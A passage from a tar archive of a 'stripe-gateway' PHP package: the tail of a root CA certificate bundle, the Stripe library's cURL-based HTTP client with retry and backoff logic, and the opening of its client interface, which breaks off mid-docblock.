r61K8YzodDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RWIr9q S34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKaG73VululycslaVNV J1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCqgc7dGtxRcw1PcOnlthYhGXmy5okL dWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T AQH/BAUwAwEB/zAdBgNVHQ4EFgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEMBQAD ggIBAB/Kzt3HvqGf2SdMC9wXmBFqiN495nFWcrKeGk6c1SuYJF2ba3uwM4IJvd8lRuqYnrYb/oM8 0mJhwQTtzuDFycgTE1XnqGOtjHsB/ncw4c5omwX4Eu55MaBBRTUoCnGkJE+M3DyCB19m3H0Q/gxh swWV7uGugQ+o+MePTagjAiZrHYNSVc61LwDKgEDg4XSsYPWHgJ2uNmSRXbBoGOqKYcl3qJfEycel /FVL8/B/uWU9J2jQzGv6U53hkRrJXRqWbTKH7QMgyALOWr7Z6v2yTcQvG99fevX4i8buMTolUVVn jWQye+mew4K6Ki3pHrTgSAai/GevHyICc/sgCq+dVEuhzf9gR7A/Xe8bVr2XIZYtCtFenTgCR2y5 9PYjJbigapordwj6xLEokCZYCDzifqrXPW+6MYgKBesntaFJ7qBFVHvmJ2WZICGoo7z7GJa7Um8M 7YNRTOlZ4iBgxcJlkoKM8xAfDoqXvneCbT+PHV28SSe9zE8P4c52hgQjxcCMElv924SgJPFI/2R8 0L5cFtHvma3AH/vLrrw4IgYmZNralw4/KBVEqE8AyvCazM90arQ+POuV7LXTWtiBmelDGDfrs7vR WGJB82bSj6p4lVQgw1oudCvV0b4YacCs1aTPObpRhANl6WLAYv7YTVWW4tAR+kg0Eeye7QUd5MjW HYbL -----END CERTIFICATE----- GTS Root R3 =========== -----BEGIN CERTIFICATE----- MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMw HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjO PQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout 736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24CejQjBA MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP0/Eq Er24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azT L818+FsuVbu/3ZL3pAzcMeGiAjEA/JdmZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV 11RZt+cRLInUue4X -----END CERTIFICATE----- GTS Root R4 =========== -----BEGIN CERTIFICATE----- MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQw HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjO PQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzu hXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqjQjBA MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV2Py1 PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/C r8deVl5c1RxYIigL9zC2L7F8AjEA8GE8p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh 4rsUecrNIdSUtUlD -----END CERTIFICATE----- Telia Root CA v2 ================ -----BEGIN CERTIFICATE----- MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYT AkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2 MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQK DBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZI hvcNAQEBBQADggIPADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ7 6zBqAMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9vVYiQJ3q 9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9lRdU2HhE8Qx3FZLgmEKn pNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTODn3WhUidhOPFZPY5Q4L15POdslv5e2QJl tI5c0BE0312/UqeBAMN/mUWZFdUXyApT7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW 5olWK8jjfN7j/4nlNW4o6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNr RBH0pUPCTEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6WT0E BXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63RDolUK5X6wK0dmBR4 M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZIpEYslOqodmJHixBTB0hXbOKSTbau BcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGjYzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7W xy+G2CQ5MB0GA1UdDgQWBBRyrOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYD VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ 8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi0f6X+J8wfBj5 tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMMA8iZGok1GTzTyVR8qPAs5m4H eW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBSSRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+C y748fdHif64W1lZYudogsYMVoe+KTTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygC QMez2P2ccGrGKMOF6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15 h2Er3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMtTy3EHD70 sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pTVmBds9hCG1xLEooc6+t9 xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAWysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQ raVplI/owd8k+BsHMYeB2F326CjYSlKArBPuUBQemMc= -----END CERTIFICATE----- D-TRUST BR Root CA 1 2020 ========================= -----BEGIN CERTIFICATE----- MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0EgMSAy MDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNV BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAG ByqGSM49AgEGBSuBBAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7 dPYSzuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0QVK5buXu QqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/VbNafAkl1bK6CKBrqx9t MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu bmV0L2NybC9kLXRydXN0X2JyX3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD AwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFWwKrY7RjEsK70Pvom AjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHVdWNbFJWcHwHP2NVypw87 -----END CERTIFICATE----- D-TRUST EV Root CA 1 2020 ========================= -----BEGIN CERTIFICATE----- MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0EgMSAy MDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNV BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAG ByqGSM49AgEGBSuBBAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8 ZRCC/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rDwpdhQntJ raOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3OqQo5FD4pPfsazK2/umL MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu bmV0L2NybC9kLXRydXN0X2V2X3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD AwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CAy/m0sRtW9XLS/BnR AjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJbgfM0agPnIjhQW+0ZT0MW -----END CERTIFICATE----- ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/OPENAPI_VERSION����������������������������������������������������������������������0000644�����������������00000000005�14720677707�0011750 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������v1154���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/HttpClient/CurlClient.php��������������������������������������������������������0000644�����������������00000057277�14720677707�0015155 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\HttpClient; use Stripe\Exception; use Stripe\Stripe; use Stripe\Util; // @codingStandardsIgnoreStart // PSR2 requires all constants be upper case. Sadly, the CURL_SSLVERSION // constants do not abide by those rules. // Note the values come from their position in the enums that // defines them in cURL's source code. // Available since PHP 5.5.19 and 5.6.3 if (!\defined('CURL_SSLVERSION_TLSv1_2')) { \define('CURL_SSLVERSION_TLSv1_2', 6); } // @codingStandardsIgnoreEnd // Available since PHP 7.0.7 and cURL 7.47.0 if (!\defined('CURL_HTTP_VERSION_2TLS')) { \define('CURL_HTTP_VERSION_2TLS', 4); } class CurlClient implements ClientInterface, StreamingClientInterface { protected static $instance; public static function instance() { if (!static::$instance) { static::$instance = new static(); } return static::$instance; } protected $defaultOptions; /** @var \Stripe\Util\RandomGenerator */ protected $randomGenerator; protected $userAgentInfo; protected $enablePersistentConnections = true; protected $enableHttp2; protected $curlHandle; protected $requestStatusCallback; /** * CurlClient constructor. * * Pass in a callable to $defaultOptions that returns an array of CURLOPT_* values to start * off a request with, or an flat array with the same format used by curl_setopt_array() to * provide a static set of options. Note that many options are overridden later in the request * call, including timeouts, which can be set via setTimeout() and setConnectTimeout(). * * Note that request() will silently ignore a non-callable, non-array $defaultOptions, and will * throw an exception if $defaultOptions returns a non-array value. * * @param null|array|callable $defaultOptions * @param null|\Stripe\Util\RandomGenerator $randomGenerator */ public function __construct($defaultOptions = null, $randomGenerator = null) { $this->defaultOptions = $defaultOptions; $this->randomGenerator = $randomGenerator ?: new Util\RandomGenerator(); $this->initUserAgentInfo(); $this->enableHttp2 = $this->canSafelyUseHttp2(); } public function __destruct() { $this->closeCurlHandle(); } public function initUserAgentInfo() { $curlVersion = \curl_version(); $this->userAgentInfo = [ 'httplib' => 'curl ' . $curlVersion['version'], 'ssllib' => $curlVersion['ssl_version'], ]; } public function getDefaultOptions() { return $this->defaultOptions; } public function getUserAgentInfo() { return $this->userAgentInfo; } /** * @return bool */ public function getEnablePersistentConnections() { return $this->enablePersistentConnections; } /** * @param bool $enable */ public function setEnablePersistentConnections($enable) { $this->enablePersistentConnections = $enable; } /** * @return bool */ public function getEnableHttp2() { return $this->enableHttp2; } /** * @param bool $enable */ public function setEnableHttp2($enable) { $this->enableHttp2 = $enable; } /** * @return null|callable */ public function getRequestStatusCallback() { return $this->requestStatusCallback; } /** * Sets a callback that is called after each request. The callback will * receive the following parameters: * <ol> * <li>string $rbody The response body</li> * <li>integer $rcode The response status code</li> * <li>\Stripe\Util\CaseInsensitiveArray $rheaders The response headers</li> * <li>integer $errno The curl error number</li> * <li>string|null $message The curl error message</li> * <li>boolean $shouldRetry Whether the request will be retried</li> * <li>integer $numRetries The number of the retry attempt</li> * </ol>. * * @param null|callable $requestStatusCallback */ public function setRequestStatusCallback($requestStatusCallback) { $this->requestStatusCallback = $requestStatusCallback; } // USER DEFINED TIMEOUTS const DEFAULT_TIMEOUT = 80; const DEFAULT_CONNECT_TIMEOUT = 30; private $timeout = self::DEFAULT_TIMEOUT; private $connectTimeout = self::DEFAULT_CONNECT_TIMEOUT; public function setTimeout($seconds) { $this->timeout = (int) \max($seconds, 0); return $this; } public function setConnectTimeout($seconds) { $this->connectTimeout = (int) \max($seconds, 0); return $this; } public function getTimeout() { return $this->timeout; } public function getConnectTimeout() { return $this->connectTimeout; } // END OF USER DEFINED TIMEOUTS private function constructRequest($method, $absUrl, $headers, $params, $hasFile) { $method = \strtolower($method); $opts = []; if (\is_callable($this->defaultOptions)) { // call defaultOptions callback, set options to return value $opts = \call_user_func_array($this->defaultOptions, \func_get_args()); if (!\is_array($opts)) { throw new Exception\UnexpectedValueException('Non-array value returned by defaultOptions CurlClient callback'); } } elseif (\is_array($this->defaultOptions)) { // set default curlopts from array $opts = $this->defaultOptions; } $params = Util\Util::objectsToIds($params); if ('get' === $method) { if ($hasFile) { throw new Exception\UnexpectedValueException( 'Issuing a GET request with a file parameter' ); } $opts[\CURLOPT_HTTPGET] = 1; if (\count($params) > 0) { $encoded = Util\Util::encodeParameters($params); $absUrl = "{$absUrl}?{$encoded}"; } } elseif ('post' === $method) { $opts[\CURLOPT_POST] = 1; $opts[\CURLOPT_POSTFIELDS] = $hasFile ? $params : Util\Util::encodeParameters($params); } elseif ('delete' === $method) { $opts[\CURLOPT_CUSTOMREQUEST] = 'DELETE'; if (\count($params) > 0) { $encoded = Util\Util::encodeParameters($params); $absUrl = "{$absUrl}?{$encoded}"; } } else { throw new Exception\UnexpectedValueException("Unrecognized method {$method}"); } // It is only safe to retry network failures on POST requests if we // add an Idempotency-Key header if (('post' === $method) && (Stripe::$maxNetworkRetries > 0)) { if (!$this->hasHeader($headers, 'Idempotency-Key')) { $headers[] = 'Idempotency-Key: ' . $this->randomGenerator->uuid(); } } // By default for large request body sizes (> 1024 bytes), cURL will // send a request without a body and with a `Expect: 100-continue` // header, which gives the server a chance to respond with an error // status code in cases where one can be determined right away (say // on an authentication problem for example), and saves the "large" // request body from being ever sent. // // Unfortunately, the bindings don't currently correctly handle the // success case (in which the server sends back a 100 CONTINUE), so // we'll error under that condition. To compensate for that problem // for the time being, override cURL's behavior by simply always // sending an empty `Expect:` header. $headers[] = 'Expect: '; $absUrl = Util\Util::utf8($absUrl); $opts[\CURLOPT_URL] = $absUrl; $opts[\CURLOPT_RETURNTRANSFER] = true; $opts[\CURLOPT_CONNECTTIMEOUT] = $this->connectTimeout; $opts[\CURLOPT_TIMEOUT] = $this->timeout; $opts[\CURLOPT_HTTPHEADER] = $headers; $opts[\CURLOPT_CAINFO] = Stripe::getCABundlePath(); if (!Stripe::getVerifySslCerts()) { $opts[\CURLOPT_SSL_VERIFYPEER] = false; } if (!isset($opts[\CURLOPT_HTTP_VERSION]) && $this->getEnableHttp2()) { // For HTTPS requests, enable HTTP/2, if supported $opts[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_2TLS; } return [$opts, $absUrl]; } public function request($method, $absUrl, $headers, $params, $hasFile) { list($opts, $absUrl) = $this->constructRequest($method, $absUrl, $headers, $params, $hasFile); list($rbody, $rcode, $rheaders) = $this->executeRequestWithRetries($opts, $absUrl); return [$rbody, $rcode, $rheaders]; } public function requestStream($method, $absUrl, $headers, $params, $hasFile, $readBodyChunk) { list($opts, $absUrl) = $this->constructRequest($method, $absUrl, $headers, $params, $hasFile); $opts[\CURLOPT_RETURNTRANSFER] = false; list($rbody, $rcode, $rheaders) = $this->executeStreamingRequestWithRetries($opts, $absUrl, $readBodyChunk); return [$rbody, $rcode, $rheaders]; } /** * Curl permits sending \CURLOPT_HEADERFUNCTION, which is called with lines * from the header and \CURLOPT_WRITEFUNCTION, which is called with bytes * from the body. You usually want to handle the body differently depending * on what was in the header. * * This function makes it easier to specify different callbacks depending * on the contents of the heeder. After the header has been completely read * and the body begins to stream, it will call $determineWriteCallback with * the array of headers. $determineWriteCallback should, based on the * headers it receives, return a "writeCallback" that describes what to do * with the incoming HTTP response body. * * @param array $opts * @param callable $determineWriteCallback * * @return array */ private function useHeadersToDetermineWriteCallback($opts, $determineWriteCallback) { $rheaders = new Util\CaseInsensitiveArray(); $headerCallback = function ($curl, $header_line) use (&$rheaders) { return self::parseLineIntoHeaderArray($header_line, $rheaders); }; $writeCallback = null; $writeCallbackWrapper = function ($curl, $data) use (&$writeCallback, &$rheaders, &$determineWriteCallback) { if (null === $writeCallback) { $writeCallback = \call_user_func_array($determineWriteCallback, [$rheaders]); } return \call_user_func_array($writeCallback, [$curl, $data]); }; return [$headerCallback, $writeCallbackWrapper]; } private static function parseLineIntoHeaderArray($line, &$headers) { if (false === \strpos($line, ':')) { return \strlen($line); } list($key, $value) = \explode(':', \trim($line), 2); $headers[\trim($key)] = \trim($value); return \strlen($line); } /** * Like `executeRequestWithRetries` except: * 1. Does not buffer the body of a successful (status code < 300) * response into memory -- instead, calls the caller-provided * $readBodyChunk with each chunk of incoming data. * 2. Does not retry if a network error occurs while streaming the * body of a successful response. * * @param array $opts cURL options * @param string $absUrl * @param callable $readBodyChunk * * @return array */ public function executeStreamingRequestWithRetries($opts, $absUrl, $readBodyChunk) { /** @var bool */ $shouldRetry = false; /** @var int */ $numRetries = 0; // Will contain the bytes of the body of the last request // if it was not successful and should not be retries /** @var null|string */ $rbody = null; // Status code of the last request /** @var null|bool */ $rcode = null; // Array of headers from the last request /** @var null|array */ $lastRHeaders = null; $errno = null; $message = null; $determineWriteCallback = function ($rheaders) use ( &$readBodyChunk, &$shouldRetry, &$rbody, &$numRetries, &$rcode, &$lastRHeaders, &$errno ) { $lastRHeaders = $rheaders; $errno = \curl_errno($this->curlHandle); $rcode = \curl_getinfo($this->curlHandle, \CURLINFO_HTTP_CODE); // Send the bytes from the body of a successful request to the caller-provided $readBodyChunk. if ($rcode < 300) { $rbody = null; return function ($curl, $data) use (&$readBodyChunk) { // Don't expose the $curl handle to the user, and don't require them to // return the length of $data. \call_user_func_array($readBodyChunk, [$data]); return \strlen($data); }; } $shouldRetry = $this->shouldRetry($errno, $rcode, $rheaders, $numRetries); // Discard the body from an unsuccessful request that should be retried. if ($shouldRetry) { return function ($curl, $data) { return \strlen($data); }; } else { // Otherwise, buffer the body into $rbody. It will need to be parsed to determine // which exception to throw to the user. $rbody = ''; return function ($curl, $data) use (&$rbody) { $rbody .= $data; return \strlen($data); }; } }; while (true) { list($headerCallback, $writeCallback) = $this->useHeadersToDetermineWriteCallback($opts, $determineWriteCallback); $opts[\CURLOPT_HEADERFUNCTION] = $headerCallback; $opts[\CURLOPT_WRITEFUNCTION] = $writeCallback; $shouldRetry = false; $rbody = null; $this->resetCurlHandle(); \curl_setopt_array($this->curlHandle, $opts); $result = \curl_exec($this->curlHandle); $errno = \curl_errno($this->curlHandle); if (0 !== $errno) { $message = \curl_error($this->curlHandle); } if (!$this->getEnablePersistentConnections()) { $this->closeCurlHandle(); } if (\is_callable($this->getRequestStatusCallback())) { \call_user_func_array( $this->getRequestStatusCallback(), [$rbody, $rcode, $lastRHeaders, $errno, $message, $shouldRetry, $numRetries] ); } if ($shouldRetry) { ++$numRetries; $sleepSeconds = $this->sleepTime($numRetries, $lastRHeaders); \usleep((int) ($sleepSeconds * 1000000)); } else { break; } } if (0 !== $errno) { $this->handleCurlError($absUrl, $errno, $message, $numRetries); } return [$rbody, $rcode, $lastRHeaders]; } /** * @param array $opts cURL options * @param string $absUrl */ public function executeRequestWithRetries($opts, $absUrl) { $numRetries = 0; while (true) { $rcode = 0; $errno = 0; $message = null; // Create a callback to capture HTTP headers for the response $rheaders = new Util\CaseInsensitiveArray(); $headerCallback = function ($curl, $header_line) use (&$rheaders) { return CurlClient::parseLineIntoHeaderArray($header_line, $rheaders); }; $opts[\CURLOPT_HEADERFUNCTION] = $headerCallback; $this->resetCurlHandle(); \curl_setopt_array($this->curlHandle, $opts); $rbody = \curl_exec($this->curlHandle); if (false === $rbody) { $errno = \curl_errno($this->curlHandle); $message = \curl_error($this->curlHandle); } else { $rcode = \curl_getinfo($this->curlHandle, \CURLINFO_HTTP_CODE); } if (!$this->getEnablePersistentConnections()) { $this->closeCurlHandle(); } $shouldRetry = $this->shouldRetry($errno, $rcode, $rheaders, $numRetries); if (\is_callable($this->getRequestStatusCallback())) { \call_user_func_array( $this->getRequestStatusCallback(), [$rbody, $rcode, $rheaders, $errno, $message, $shouldRetry, $numRetries] ); } if ($shouldRetry) { ++$numRetries; $sleepSeconds = $this->sleepTime($numRetries, $rheaders); \usleep((int) ($sleepSeconds * 1000000)); } else { break; } } if (false === $rbody) { $this->handleCurlError($absUrl, $errno, $message, $numRetries); } return [$rbody, $rcode, $rheaders]; } /** * @param string $url * @param int $errno * @param string $message * @param int $numRetries * * @throws Exception\ApiConnectionException */ private function handleCurlError($url, $errno, $message, $numRetries) { switch ($errno) { case \CURLE_COULDNT_CONNECT: case \CURLE_COULDNT_RESOLVE_HOST: case \CURLE_OPERATION_TIMEOUTED: $msg = "Could not connect to Stripe ({$url}). Please check your " . 'internet connection and try again. If this problem persists, ' . "you should check Stripe's service status at " . 'https://twitter.com/stripestatus, or'; break; case \CURLE_SSL_CACERT: case \CURLE_SSL_PEER_CERTIFICATE: $msg = "Could not verify Stripe's SSL certificate. Please make sure " . 'that your network is not intercepting certificates. ' . "(Try going to {$url} in your browser.) " . 'If this problem persists,'; break; default: $msg = 'Unexpected error communicating with Stripe. ' . 'If this problem persists,'; } $msg .= ' let us know at support@stripe.com.'; $msg .= "\n\n(Network error [errno {$errno}]: {$message})"; if ($numRetries > 0) { $msg .= "\n\nRequest was retried {$numRetries} times."; } throw new Exception\ApiConnectionException($msg); } /** * Checks if an error is a problem that we should retry on. This includes both * socket errors that may represent an intermittent problem and some special * HTTP statuses. * * @param int $errno * @param int $rcode * @param array|\Stripe\Util\CaseInsensitiveArray $rheaders * @param int $numRetries * * @return bool */ private function shouldRetry($errno, $rcode, $rheaders, $numRetries) { if ($numRetries >= Stripe::getMaxNetworkRetries()) { return false; } // Retry on timeout-related problems (either on open or read). if (\CURLE_OPERATION_TIMEOUTED === $errno) { return true; } // Destination refused the connection, the connection was reset, or a // variety of other connection failures. This could occur from a single // saturated server, so retry in case it's intermittent. if (\CURLE_COULDNT_CONNECT === $errno) { return true; } // The API may ask us not to retry (eg; if doing so would be a no-op) // or advise us to retry (eg; in cases of lock timeouts); we defer to that. if (isset($rheaders['stripe-should-retry'])) { if ('false' === $rheaders['stripe-should-retry']) { return false; } if ('true' === $rheaders['stripe-should-retry']) { return true; } } // 409 Conflict if (409 === $rcode) { return true; } // Retry on 500, 503, and other internal errors. // // Note that we expect the stripe-should-retry header to be false // in most cases when a 500 is returned, since our idempotency framework // would typically replay it anyway. if ($rcode >= 500) { return true; } return false; } /** * Provides the number of seconds to wait before retrying a request. * * @param int $numRetries * @param array|\Stripe\Util\CaseInsensitiveArray $rheaders * * @return int */ private function sleepTime($numRetries, $rheaders) { // Apply exponential backoff with $initialNetworkRetryDelay on the // number of $numRetries so far as inputs. Do not allow the number to exceed // $maxNetworkRetryDelay. $sleepSeconds = \min( Stripe::getInitialNetworkRetryDelay() * 1.0 * 2 ** ($numRetries - 1), Stripe::getMaxNetworkRetryDelay() ); // Apply some jitter by randomizing the value in the range of // ($sleepSeconds / 2) to ($sleepSeconds). $sleepSeconds *= 0.5 * (1 + $this->randomGenerator->randFloat()); // But never sleep less than the base sleep seconds. $sleepSeconds = \max(Stripe::getInitialNetworkRetryDelay(), $sleepSeconds); // And never sleep less than the time the API asks us to wait, assuming it's a reasonable ask. $retryAfter = isset($rheaders['retry-after']) ? (float) ($rheaders['retry-after']) : 0.0; if (\floor($retryAfter) === $retryAfter && $retryAfter <= Stripe::getMaxRetryAfter()) { $sleepSeconds = \max($sleepSeconds, $retryAfter); } return $sleepSeconds; } /** * Initializes the curl handle. If already initialized, the handle is closed first. */ private function initCurlHandle() { $this->closeCurlHandle(); $this->curlHandle = \curl_init(); } /** * Closes the curl handle if initialized. Do nothing if already closed. */ private function closeCurlHandle() { if (null !== $this->curlHandle) { \curl_close($this->curlHandle); $this->curlHandle = null; } } /** * Resets the curl handle. If the handle is not already initialized, or if persistent * connections are disabled, the handle is reinitialized instead. */ private function resetCurlHandle() { if (null !== $this->curlHandle && $this->getEnablePersistentConnections()) { \curl_reset($this->curlHandle); } else { $this->initCurlHandle(); } } /** * Indicates whether it is safe to use HTTP/2 or not. * * @return bool */ private function canSafelyUseHttp2() { // Versions of curl older than 7.60.0 don't respect GOAWAY frames // (cf. https://github.com/curl/curl/issues/2416), which Stripe use. $curlVersion = \curl_version()['version']; return \version_compare($curlVersion, '7.60.0') >= 0; } /** * Checks if a list of headers contains a specific header name. * * @param string[] $headers * @param string $name * * @return bool */ private function hasHeader($headers, $name) { foreach ($headers as $header) { if (0 === \strncasecmp($header, "{$name}: ", \strlen($name) + 2)) { return true; } } return false; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/HttpClient/ClientInterface.php���������������������������������������������������0000644�����������������00000001605�14720677707�0016130 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\HttpClient; interface ClientInterface { /** * @param 'delete'|'get'|'post' $method The HTTP method being used * @param string $absUrl The URL being requested, including domain and protocol * @param array $headers Headers to be used in the request (full strings, not KV pairs) * @param array $params KV pairs for parameters. Can be nested for arrays and hashes * @param bool $hasFile Whether or not $params references a file (via an @ prefix or * CURLFile) * * @throws \Stripe\Exception\ApiConnectionException * @throws \Stripe\Exception\UnexpectedValueException * * @return array an array 